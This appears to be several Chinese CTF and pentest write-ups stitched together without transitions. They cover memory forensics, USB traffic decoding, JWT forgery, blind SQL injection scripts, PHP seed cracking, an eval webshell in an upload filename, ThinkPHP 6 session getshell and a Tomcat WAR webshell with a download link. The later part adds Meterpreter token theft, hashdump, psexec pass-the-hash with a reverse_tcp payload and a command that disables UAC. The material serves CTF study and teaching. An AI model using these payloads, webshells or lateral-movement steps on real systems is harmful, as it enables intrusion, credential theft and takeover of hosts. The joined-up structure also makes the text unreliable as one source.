0x00 前言

本文对我曾接触到过的CTF中的内存取证类题目与USB流量分析类题目进行一个总结类梳理。其中kali里集成了取证神器volatility与流量分析神器tshark

0x01 Volatility

第一步提取内容镜像信息

常用命令volatility -f <xxx.vmem>(或xx.raw) imageinfo

使用imageinfo插件获取到基本信息,特别是内存数据是什么操作系统下生成的,这点尤为重要 (如图的WinXPSP2x86) 因为在接下来每一步都要命令“–profile”指定操作系统的属性。

第二步列取文件中曾使用的进程信息

常用命令: pslist/pstree/psscan

1)pslist无法显示隐藏/终止进程。
2)解决这个问题的插件是psscan,这个插件输出的内容会比pslist多得多。(所以全面信息获取用psscan)
3)pstree同样也是扫描进程的,但是是以进程树的形式出现的。

同时可以搭配grep命令进行对可疑进程(cmd.exe、notepad.exe等)的快速筛选

第三步根据进程中使用的工具对应查看

常用命令:cmdscan notepad

cmdscan 可以用来查看受害者系统上攻击者操作的最强大的命令之一,无论他们是否打开cmd.exe。简单地说,可以看到攻击者在命令提示符中键入的内容。

当进程中存在notepad.exe时,可用notepad插件查看文本中所写内容

第四步文件探测

常用命令:filescan

该命令通常结合grep命令对所需要文件进行筛选,以下我已在CTF中遇到的两道内存取证的文件隐藏做出结论:大概率搜索桌面即可。

第五步提取文件

常用命令:dumpfiles memdump

volatility -f [imgfile] –profile=[imgversion] dumpfiles -Q [file_offset] –dump-dir [outdir]

注意红框所示需要对应,–dump-dir指定下载到本地的什么位置(这里是当前目录),注:下载下来的文件如果是普通文件(图片,文本)会直接以dat结尾,如果是压缩包,则会在前面加上一个.zip(蓝箭头所指)后续的使用修改为对应文件名及其后缀即可。

dump画图进程: dump 出来的进程文件,可以使用 foremost 来分离里面的文件。332是对应进程的pid 。不进行分离的题型参看https://shawroot.hatenablog.com/entry/2019/11/12/%E8%AE%B0%E4%B8%80%E9%81%93%E7%BA%A2%E5%B8%BD%E6%9D%AFCTF%E9%9A%90%E5%86%99%E9%A2%98%E6%B5%85%E5%AD%A6Volatility

0x02 USB流量分析

这里以XMAN2018挑战赛的AutoKey进行学习

题目下载

pcapng文件用wireshark打开出现如下信息,这里是经典的提取usb流量问题

tshark -r attachment.pcapng -T fields -e usb.capdata > usbdata.txt

-r: 读取本地文件,可以先抓包存下来之后再进行分析;
-T,-e: 指的是打印这两个字段;

结果会保存到usbdata.txt中。

用脚本对USB信息进行翻译

#!usr/bin/env python
#-*- coding:utf-8 -*-
mappings = { 0x04:"A",  0x05:"B",  0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G",  0x0B:"H", 0x0C:"I",  0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O",  0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5",  0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]",  0X2B:"    ", 0x2C:" ",  0x2D:"-", 0x2E:"=", 0x2F:"[",  0x30:"]",  0x31:"\\", 0x32:"~", 0x33:";",  0x34:"'", 0x36:",",  0x37:"." }
nums = []
keys = open('usbdata.txt')
for line in keys:
    if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':
         continue
    nums.append(int(line[6:8],16))
keys.close()
output = ""
for n in nums:
    if n == 0 :
        continue
    if n in mappings:
        output += mappings[n]
    else:
        output += '[unknown]'
print 'output :\n' + output

还有一种USB信息转换为轨迹坐标的方式。文章参看Root师傅的博客文章https://shawroot.cc/archives/580

0x03 网络安全与执法专业比赛取证10题

考点:volatilty内存取证,USB流量分析,希尔密码

进程中没有看到notepad,但是又cmd进程,利用cmdscan插件查看得到希尔密码的矩阵,还缺少一个密文。

进行文件搜索,最后将zip文件提取出

修改后缀后打开压缩包发现是一个img文件。考虑linux磁盘挂载。

可以看到有一个usb.pcapng文件,考虑USB流量分析,这里直接用tshark命令搭配上面的脚本获取隐藏信息

得到写入密码的密文,利用在线网站进行解密:https://www.dcode.fr/hill-cipher

如上所选修改成对应的3×3矩阵。得到最终的结果

最后注意要取消磁盘挂载:umount ./guazai(挂载文件夹)

文章参考:https://shawroot.cc/archives/673

0x04 最后

感谢Root师傅的带飞,这次比赛跟Root师傅学到了好多。


0x00、知识点:

JSON Web Token(JWT)是目前最流行的跨域身份验证解决方案

它的构成: 第一部分我们称它为头部(header),第二部分我们称其为载荷(payload, 类似于飞机上承载的物品),第三部分是签证(signature).

类似于:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ 

header

jwt的头部承载两部分信息:

  • 声明类型,这里是jwt
  • 声明加密的算法 通常直接使用 HMAC SHA256

完整的头部就像下面这样的JSON:

{
  'typ': 'JWT',
  'alg': 'HS256'
}

然后将头部进行base64加密(该加密是可以对称解密的),构成了第一部分.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

payload

载荷就是存放有效信息的地方。这些有效信息包含三个部分。

  • 标准中注册的声明
  • 公共的声明
  • 私有的声明

标准中注册的声明 (建议但不强制使用) :

  • iss: jwt签发者
  • sub: jwt所面向的用户
  • aud: 接收jwt的一方
  • exp: jwt的过期时间,这个过期时间必须要大于签发时间
  • nbf: 定义在什么时间之前,该jwt都是不可用的.
  • iat: jwt的签发时间
  • jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。

公共的声明
公共的声明可以添加任何的信息,一般添加用户的相关信息或其他业务需要的必要信息.但不建议添加敏感信息,因为该部分在客户端可解密.

私有的声明
私有声明是提供者和消费者所共同定义的声明,一般不建议存放敏感信息,因为base64是对称解密的,意味着该部分信息可以归类为明文信息。

定义一个payload:

{
  "sub": "1234567890",
  "name": "purplet",
  "admin": true,
  "secretid": 1
}

然后将其进行base64加密,得到Jwt的第二部分。

ew0KICAic3ViIjogIjEyMzQ1Njc4OTAiLA0KICAibmFtZSI6ICJwdXJwbGV0IiwNCiAgImFkbWluIjogdHJ1ZSwNCiAgInNlY3JldGlkIjogMQ0KfQ

signature

jwt的第三部分是一个签证信息,这个签证信息由三部分组成:

  • header (base64后的)
  • payload (base64后的)
  • secret

这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分。加密方式如下。

// javascript
var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);

var signature = HMACSHA256(encodedString, 'secret');

最后将这三部分用.连接成一个完整的字符串,构成了最终的jwt。

0x01 、NodeJS的JWT库的空加密缺陷

以下内容学习基于三道CTF题。

虎符CTF的WEB(easy_login)

该题开始是一个登录框,经过随意注册一个用户后,再进行登录后提示没有权限登录,这一点我们直接就可以猜测出是要求admin用户登录,然后我们在注册处利用BP抓包放包后可以看到有一串JWT的字符

并且在登录时也会发现该JWT字符会作为身份验证部分与用户名、密码一起通过POST方法表单传递到后端进行验证。所以可以想到JWT的伪造,同时结合题目的描述与node有关,学习到node的JWT库的空加密缺陷问题。对普通用户的JWT进行base64解密如下。

解题:

首先注册登陆采用jwt认证,但是jwt的实现很奇怪,逻辑大概是,注册的时候会给每个用户生成一个单独的secret_token作为jwt的密钥,通过后端的一个全局列表来存储,登录的时候通过用户传过来的secretid取出对应的secret_token来解密jwt,如果解密成功就算登陆成功。

然而,node 的jsonwebtoken库存在一个缺陷,也是jwt的常见攻击手法,当用户传入jwt secret为空时 jsonwebtoken会采用algorithm none进行解密。

因为服务端 通过

 var secret = global.secretlist[secretid];
 jwt.verify(req.cookies.token,secret);

解密,我可以通过传入不存在的id,让secret为undefined,导致algorithm为none,然后就可以通过伪造jwt来成为admin

#pip3 install pyjwt
import jwt

token = jwt.encode({"secretid":"","username":"admin","password":"123456","iat":1587367857},algorithm="none",key="").decode(encoding='utf-8')

print(token)

​因为我们知晓了JWT的原理,所以也可以直接对内容进行base64加密, 可以根据其node的JWT缺陷将secretid置为空,所以构造以下payload

{“alg”:”HS256″,”typ”:”JWT”}.{“secretid”:””,”username”:”admin”,”password”:”123456″,”iat”:1587367857}.

对其直接进行base64加密后,注意“点”不要加密同时最后不要拼接第三段,用户名和密码写上构造的admin/123456,抓登陆包。

即可登录,获得flag

0x02、JWT-cookie伪造

[CISCN2019 华北赛区 Day1 Web2]ikun

该题我只对JWT部分进行记录

注册普通用户登录后首先可以看到有1000元

而按照题目要求需要购买lv6,它的价格又十分昂贵,抓包后看到有discount参数,尝试将其改的特别小,使我们能够购买成功。成功购买后但是出现

这就很明显需要我们越权进行登录,查看cookie此时可以看到一段JWT

看到JWT长度较短,所以可以考虑利用工具将JWT的第三段密钥爆破出来

工具链接如下:

https://github.com/brendan-rius/c-jwt-cracker

爆破密钥

知道密钥后,我们就可以任意构造JWT了,利用在线网站:https://jwt.io/

这样就实现了admin用户身份的伪造,将所得内容替换回去(可以利用火狐插件EditThisCookie),最终即可以admin用户身份登录。

文章参考:https://www.jianshu.com/p/576dbf44b2ae

0x03 JWT注入

【网鼎杯2020玄武组】js_on

通过这道题再次学习到JWT的一种考法。首先题目打开是一个登录框,默认弱口令admin/admin登陆成功,页面返回了一个key值

回到前台重新再注册一个号purplet/123456,登陆后返回如下信息

说明后端肯定判断了当前登录用户是否为admin,如果不是就返回Hello+用户

登陆后再利用BurpSuite进行抓包,看到cookie处存在JWT的信息,对前两段内容进行base64解密,可以看到

{“alg”:”HS256″,”typ”:”JWT”}.{“user”:”purplet”,”news”:”Hello purplet”}

可以看出后端通过JWT对当前用户进行了判断,从而决定页面输出内容,因此猜测user字段中可能存在sql注入漏洞,利用在线加密网站 https://jwt.io/ 进行尝试

PAYLOAD处user构造一个sql注入的检测,news随便输入即可,当user处的值为真即可输出news中的值。密钥填写admin登陆后所给密钥

然而发过去却触发了waf,因此考虑绕过,先将空格换成/**/试下

可以看到当等式不成立时输出红线所画信息,再次构造user为admin’/**/and/**/1=1#

可以看到出现了news中的值:1,那么确认是sql注入无疑了,引用大佬的脚本,利用load_file读取根目录下的flag

import jwt
import requests
url = 'http://challenge-e30271f39809c3f0.sandbox.ctfhub.com:10080/index.php'
data = ''
dict = '0123456789abcdeflg-{}'
for i in range(1, 60):
    for j in dict:
        encoded_jwt = jwt.encode({"user":"admin'/**/and/**/load_file('/flag')/**/regexp/**/'^" + data + j + "'#","news":"key:xRtYMDqyCCxYxi9a@LgcGpnmM2X8i&6"},'xRtYMDqyCCxYxi9a@LgcGpnmM2X8i&6',headers={"alg":"HS256","typ":"jwt"})
        cookies = {
             'token':encoded_jwt
         }
        try:
            res = requests.get(url=url,cookies=cookies,timeout=3)
            if 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6' in res.content:
                 data += j
                 print(str(data))
                 break
         except Exception as e:
             print(str(e))

还有一种方法,将算法置为none,同虎符杯的easy_login一题有相似原理,将第三部分置空,但前面带上.

{"alg":"none","typ":"JWT"}.{"user":"admin'/**/and/**/1=1#","news":"key: xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"}.

如上这么构造,对.左右两边分别base64加密,发包过去,得到正常回显

{“alg”:”none”,”typ”:”JWT”}.{“user”:”admin’/**/and/**/1=2#”,”news”:”key: xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6″}.

很明显这样也可以成功构造注入,经过Fuzz测试又发现过滤了select,可用sel<>ect绕过,借用大佬的脚本跑出flag,这波学习到了。

import base64
import requests
def b64urlencode(data):
     return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')
def replace(s):
    s = s.replace(" ", "/**/")
    return s
url = "http://challenge-e30271f39809c3f0.sandbox.ctfhub.com:10080/index.php"
charset = ",abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ%}_{:-"
result = ""
for i in range(len(result) + 1, len(result) + 100):
    for c in charset:
        payload = "admin' and (sel<>ect ascii(mid(load_file('/flag'),{},1)))={} #".format(i, ord(c))
        payload = replace(payload)
        msg = "{}\t{}\t{}".format(i, c, payload)
        cookies = {
            "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.{}.".format(b64urlencode('{"user":"' + payload + '","news":"1111"}'))
         }
        r = requests.get(url, cookies=cookies)
        if "1111" in r.text:
            result += c
            print result
            break



php中重要的几个随机函数

  • rand() 不指定参数时,范围0-32767
  • mt_rand() 不指定参数时,范围0-2^32-1
  • srand() 给rand()函数播种
  • mt_srand() 给mt_srand()函数播种

个人理解: mt_srand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机数。

为什么生成随机数会一样呢?我们多次访问。可以看到再次循环的输出的时候它的随机数并没有改变,依然是红框中出现的数字

其实,这就是伪随机数的漏洞,存在可预测性。

生成伪随机数是线性的,可以理解为y=ax,x就是种子,知道种子和一组伪随机数不是就可以推y(伪随机数了吗),当然实际上肯定更加复杂。

我知道种子后,可以确定你输出伪随机数的序列。
知道你的随机数序列,可以确定你的种子。  

用到的是爆破,已经有写好的C脚本了。 下载地址:https://www.openwall.com/php_mt_seed/php_mt_seed-4.0.tar.gz,可放到kali下执行

kali下,进入目录,make  
time ./php_mt_seed 第一个随机数 

该脚本用于爆破出种子。

接下来以[GWCTF 2019]枯燥的抽奖一题为例深入学习php伪随机数问题

首先进入题目

在源代码中看到有check.php的存在,访问获得源码

<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";

if(isset($_POST['num'])){
    if($_POST['num']===$str){x
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦,再试试吧</p>";
    }
}
show_source("check.php");

代码理解:

首先mt_srand的种子是一个键为seed的session值,并且该值要求是在0到 999999999之间取得的一个随机整数,再接着进行20次循环对str变量进行拼接赋值。这其中了解一下substr的语法: substr(string,start,length) 函数返回字符串的一部分。

$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); 

所以这段代码就可以拆分两部分理解,首先通过mt_rand函数计算0到62之间任意一个整数减一。求得所得的值在str_long1变量的字符串中所在的位置对应的字符。注意这里的排序方式同数组,第一位是0。

再把str的值取前10位的值赋给str_show变量

最后我们通过post方式传递一个num值,如果与str变量的值相等,输出flag。

滤清思路后 先用脚本将伪随机数转换成php_mt_seed可以识别的数据,得出页面显示字符所用的随机数

str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='yY8woJo2bZ'#是页面上显示的
res=''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)

因为我们知道页面中给出的10位数只是其中一部分,所以我们可以通过这个已知去推出对应的随机数。

再用php_mt_seed-4.0进行爆破种子

可以看到得到483282717,但是需要php7.1.0以上版本运行,于是可以本地构造获得所有随机数。

<?php
mt_srand(483282717);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo "$str";
?>

最后将得到的随机数填入得到flag

考点:备份文件,sql注入,文件上传(短标签)

首先通过robots.txt发现存在.bak备份文件,尝试后获取到image.php.bak文件,这里可以爆破一下可能存在备份文件的文件名,代码如下:
打开得到源码:

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

对单引号进行了过滤,无法闭合单引号,所以我们用\0来转义掉它的单引号。输入\0,经过“addslashes”函数会先变成\\0,然后经过“str_replace”函数,会变成\,这样,就把id后面的单引号给转义了。附上SQL注入代码(二分法):

import  requests

url = "http://d4035b3f-eaac-4675-8c17-e1de75f3d193.node3.buuoj.cn/image.php?id=\\0&path="
payload = "or id=if(ascii(substr((select username from users),{0},1))>{1},1,0)%23"
result = ""
for i in range(1,100):
l = 1
r = 130
mid = (l + r)>>1
while(l<r):
payloads = payload.format(i,mid)
print(url+payloads)
html = requests.get(url+payloads)
if "JFIF" in html.text:
l = mid +1
else:
r = mid
mid = (l + r)>>1
result+=chr(mid)
print(result)

盲猜username和password在users表中。得到用户名和密码

登录后进行文件上传, 这里会将文件名和用户名写入日志文件。但是这里日志文件为php格式,考虑写入shell。由于用户名只能为admin无法利用,考虑文件名注入。文件名进行了php/i过滤,可以使用短标签绕过:

filename="<?=@eval($_POST['a']);?>"

这个文件名,会被写入日志文件中去,然后用菜刀连接。

注意最后的文件名的.是句号,写入后如下图所示。

最终连接即可。

注: 短标签<? ?>需要php.ini开启short_open_tag = On,但<?= ?>不受该条控制。

normal_sql:

首先利用BurpSuite进行Fuzz测试,自备测试字典导入

开始测试攻击,可以根据长度来首先进行一波快速分辨哪些关键字是被过滤的,(这里给个小提示:出题人必定会过滤drop这样的删库函数,所以与drop函数长度相同的都是被过滤的)

如图所示,过滤的很简单,但是这里过滤了空格,同时过滤了另一种代替空格的字符/**/,可能许多同学到这里就不知道怎么做了,这里提供两种方法

一、修改sqlmap的tamper,利用sqlmap一把梭

在kali中找到sqlmap的tamper的位置:/usr/share/sqlmap/tamper/

修改space2comment.py,该模块就是利用/**/替代空格的模块,我们将其替换为其他可替代空格的字符如%0A,修改箭头所指,然后sqlmap一把梭。

二、手注(可写脚本)

用%0A替代空格,也可用%A0,上网自行搜索绕过方式。

首先查出可注入字段是2,接下来就可以注入了(方法同bugku的成绩单一题)

http://IP/index.php?id=-1%0Aunion%0Aselect%0A1,group_concat(table_name),3,4,5%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database()
http://IP/index.php?id=-1%0Aunion%0Aselect%0A1,group_concat(column_name),3,4,5%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_name=%27flag%27
http://IP/index.php?id=-1%0Aunion%0Aselect%0A1,flag,3,4,5%0Afrom%0Aflag

老八秘制小汉堡

依然首先Fuzz测试

看到过滤了以上这些,我最初的想法就是既然没有过滤ascci和substr就开始写脚本跑呗,事实也确实能跑下来。

import requests
url = "http://IP/index.php?id=-1 "

def ldb(url):
    for i in range(1,10):
        db_length = ""
        u = "|| length(database())="+str(i)
        s = url+u
        print(s)
        r = requests.get(s)
        if '臭豆腐' in r.text:
            db_length = str(i)
            print("数据库长度:"+str(db_length))
            break
def db(url):#爆库名
    db_name = ""
    for i in range(1,10):
        for j in range(32,128):
            u= "|| ascii(substr(database(),"+str(i)+",1))="+str(j)
            s = url+u
            print(s)
            r =  requests.get(s)
            if '臭豆腐' in r.text:
                db_name += chr(j)
                break
        print(db_name)
#失败,需结合limit
def table(url):
    table_name = ""
    for i in range(1,10):
        for j in range(32,128):
            u = "|| ascii(substr(group_concat(table_name) from infoorrmation_schema.tables where table_schema=database(),"+str(i)+",1))="+str(j)
            s = url+u
            print(s)
            r =  requests.get(s)
            if '臭豆腐' in r.text:
                table_name += chr(j)
                break
        print(table_name)
def flag(url):
    flag = ""
    for i in range(1,44):
        for j in range(32,128):
            u = "|| ascii(substr((select flag from flag),"+str(i)+",1))="+str(j)
            s = url+u
            print(s)
            r =  requests.get(s)
            if '臭豆腐' in r.text:
                flag += chr(j)
                break
        print(flag)
#ldb(url)5
#db(url)eight
#table(url)
flag(url)
#flag{971662c145ba6a0d286298be606d58dc4}

​但是这种方式需要盲猜flag在flag表的flag字段中,因为禁用了limit所以没法得到表和字段的内容。解除limit禁用可得到所有。

于是我在比赛结束后思考如何才能获得到表和字段内容,最终利用连等的一个注入得到所有,脚本如下:

import requests
from urllib.parse import quote

flag = ''
for i in range(1,39):
    for ascii in range(33,127):
        #table :flag,hamburger
        #payload = '(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{},1)))'.format(str(i))
        #column: id,flag,id,name,sound
        #payload = '(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=database()),{},1)))'.format(str(i))
        #flag
        payload = '(ascii(substr((select(group_concat(flag))from(flag)),{},1)))'.format(str(i))

        url = 'http://IP/index.php?id=1=({}={})=1'.format(quote(payload), ascii)
        print(url)
        r = requests.get(url)
        text = r.text

        if r"臭豆腐" in text:
            flag += chr(ascii)
            print(flag)
            break

​总结:对于sql注入的学习,掌握常见过滤方式,学会Fuzz测试,积累绕过方式,学会编写python脚本。深入学习需要理解mysql的常见函数用法。

0x01 简介

ThinkPHP框架是MVC结构的开源PHP框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。该漏洞源于ThinkPHP 6.0的某个逻辑漏洞,成功利用此漏洞的攻击者可以实现“任意”文件创建,在特殊场景下可能会导致GetShell。

0x02 漏洞概述

2020年1月10日,ThinkPHP团队发布一个补丁更新,修复了一处由不安全的SessionId导致的任意文件操作漏洞。该漏洞允许攻击者在目标环境启用session的条件下创建任意文件以及删除任意文件,在特定情况下还可以getshell。

0x03 影响版本

ThinkPHP 6.0.0-6.0.1

0x04 环境搭建

利用PHPStudy对环境进行搭建

1.安装Composer

下载Composer-Setup.exe ,链接: https://getcomposer.org/download/

执行安装文件,选择php.exe位置,一路默认安装成功

composer拉取环境会卡住,换成国内镜像。

composer config -g repo.packagist composer https://packagist.phpcomposer.com

2.安装thinkphp

TP6下载:https://github.com/top-think/think 下载后放到phpstudy的根目录即可

创新项目之前,先切换到web项目目录windows+R 进入cmd命令窗口

composer create-project topthink/think tp6 (tp6自定义,这个会生成一个文件夹) 这里说一个问题,我这个时间Thinkphp的最新版是6.0.2,用上面的命令下载下来framework是6.0.2版本的,我们需要再执行一条命令:composer require topthink/framework:6.0.0:此时就会把将6.0.0的版本把6.0.2给替换掉

成功后配置php对应的环境变量(这个自行百度),注意php开启和配置的环境变量要对应且要php7.1以上,我这里用的是phpstudypro的最高版本php7.3

接着进入刚刚生成的tp6的目录,输入php think run, 默认运行在localhost:8000

接下来访问127.0.0.1:8000就可以看到搭建成功了

0x05 漏洞利用

在目标环境开启session且写入的session可控的情况下,容易遭受任意文件写入攻击。

修改/app/controller/Index.php 文件

session(‘demo’,$_GET[‘c’]);

修改 /app/middleware.php 文件如下

这里注意PHPSESSID的值一定要是32位(算上.php)这样才可以,接着在通过变量c传递任意代码。

可以看到文件在runtime\session下生成,内容并写入

接下来进行访问即可,同时将phpinfo代码改成一句话代码,即可Getshell。

0x06 修复

目前官网已经更新了thinkphp6.0.2版本(目前最新),修复了该漏洞,建议尽快升级最新版本。

知识点:什么是war包

war 包是一种打包格式
Java web工程,都是打成war包,进行发布,打成war包的好处是不会缺少目录,并且只管理好一个发布文件就好,并且tomcat服务器能够自动识别,将war包放在tomcat容器的webapps下,启动服务,即可运行该项目,该war包会自动解压出一个同名的文件夹。
war 包的结构(是一个web 项目编译后的结果)

本篇文章以墨者学院的Tomcat后台弱口令漏洞利用这道题为例

首先访问页面发现是Tomcat8.0.33的,因为在实际渗透测试中我对Tomcat的漏洞挖掘只停留在 7.0.0-7.0.81 的CVE-2017-12615(Tomcat Put文件上传),面对以上版本的没有好的利用思路。本篇将对弱口令进入后台的利用做学习总结

默认后台的路径是:manager/html,也可以直接点击“Manager App”,题目已知猜测是弱口令,尝试admin/123456进入后台,实际漏洞挖掘中可能需要进行一个暴力破解尝试登陆,或者对网站类型分析后查阅相关的默认账户和密码。

发现允许上传的是war包,所以我们需要将JSP马制作成war包进行上传,上传后会被Tomcat识别进行一个解压。

首先准备好一个jsp马,准备好Java环境,以管理员模式运行cmd,进入java\jdk1.8.0_241\bin的目录下,将jsp马复制到此文件夹下。

jar cvf  +要生成的war木马 +自己bin目录下的jsp木马

完成后会在该目录下生成一个war木马。

最后对该war包进行上传,会看到生成路径

该war包将在根目录下自行解压,访问/xss/ma.jsp输入密码caicaihk即可。

最后在根目录下可以找到key值

附上jsp大马链接
链接:https://pan.baidu.com/s/1AXvrpt94shfVnnyqdizjHw
提取码:uqsy

本文章所用木马仅作实验,切勿用作非法用途。

假冒令牌可以假冒一个网络中的另一个用户进行各种操作。令牌包括登录会话的安全信息,如用户身份识别、用户组和用户权限。
当一个用户登录Windows系统时,它被给定一个访问令牌作为它认证会话的一部分。例如,一个入侵用户可能需要以域管理员处理一个特定任务,当它使用令牌便可假冒域管理员进行工作。

Windows安全相关概念

Login Session:不同帐号登录产生不同的登录Session,代表不同的帐号权限。

Tokens简介
·与进程相关联,进程创建时根据LoginSession分配对应Token,含有该进程用户帐号、组信息、权限信息等
·用户每次登录,产生LoginSession分配对应Token
·访问资源时提交Token进行身份验证,类似于Web Cookie
·Delegate Token:交互登录会话( 例如本地用户直接登录、远程桌面登录 )
·Impersonate Token:非交互登录会话( 利用net use访问共享文件夹 )

两种令牌都是在重启后才会消除,具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效

第一种方法:Incognito伪装

·独立软件,被集成到到msf的meterpreter中
·不用获取帐号密码窃取token将自己伪装成合法用户
·适用于域环境下提权渗透多操作系统

meterpreter> load incognito

输入?或者help弹出帮助信息

list_tokens查看用户在以前登录该机器时保留的token信息

红框圈住的是token信息,一个是普通用户的,一个是域管理员的

通过获取到的域管理员的Token伪装成域管理员,调用impersonate_token

再次查看uid就可以看到已经是EA域下的域管理账户了

第二种方法:利用steal_token从进程窃取令牌

利用用户启动的进程来窃取令牌登录,这里随便选用pid 4316进行测试,这是TEST/test1启动的

执行命令steal_token 4316

进程可通过ps命令进行查看,用户在登录使用的过程中都会在进程中留下token信息。 从而进程窃取令牌成功 。

返回原来的用户:输入rev2self或者drop_token

Hash基础知识

Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值

获取Hash值

hashdump(systen权限)

meterpreter >run post/windows/gather/hashdump(system权限)

meterpreter > run post/windows/gather/smart_hashdump(system权限)

检查权限和系统类型
检查是否是域控制服务器
从注册表读取hash、注入Lsass进程
如果是08server并具有管埋员权限,直接getsystem尝试提权
如果是win7且UAC关闭并具有管理员权限,从注册表读取
03/XP直接getsystem,从注册表获取hash

其中在通过提权后获得的session(如bypassuac),不进行getsystem的时候getuid查看的仍是管理员权限,但实际已经提到了system权限,这种情况不进行彻底转换也可以运行hashdump了

拿到Hash值后第一种方法进行解密,可利用在线网站http://cmd5.com等,如果是使用CS拿下的运行mimikatz也有可能获取到明文。当无法获取到明文时考虑哈希传递

哈希传递

psexe有MSF,CobaltStrike和exe版本。

使用psexec前提需要目标机器开启445端口,可先进行一个端口扫描

创建/执行远程命令代码。
执行远程进程的前提条件是对方机器必须开启ipc,以及admin,否则无法执行。下面我们来看详细命令:
开启ipc$
net share ipc$
开启admin$
net share admin$

msf5 >use exploit/windows/smb/psexec

msf5 exploit(psexec)> set rhost 目标机IP

msf5 exploit(psexec)> set smbuser root(hashdump下来的)

msf5 exploit(psexec)> set smbpass aad3b435b51404eeaad3b435b51404ee:afc44ee351d61d00698796da06blebf(获取到的hash值)

msf5 exploit(psexec)> set payload windows/meterpreter/reverse_tcp

msf5 exploit(psexec)> set lhost kaliIP

msf5 exploit(psexec)> set port 3333

如果目标机器开启UAC,需要通过获得的meterpreter权限通过修改目标机注册表信息关闭掉UAC

可以使用 reg add /?查询帮助使用信息

下面是对注册表中UAC控制改为0(关闭UAC)

reg.exe ADD HKEY_LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /V EnableLUA /t REG DWORD /d 0 /f

ADD 后是注册表信息,/v 是值名 /d

关闭后需要进行重启才会生效 ,可以通过一些攻击手法进行重启。再次获得shell执行psexec的横向移动。前一篇的ATT&CK(一)中的横向移动也可以尝试使用这种方式进行。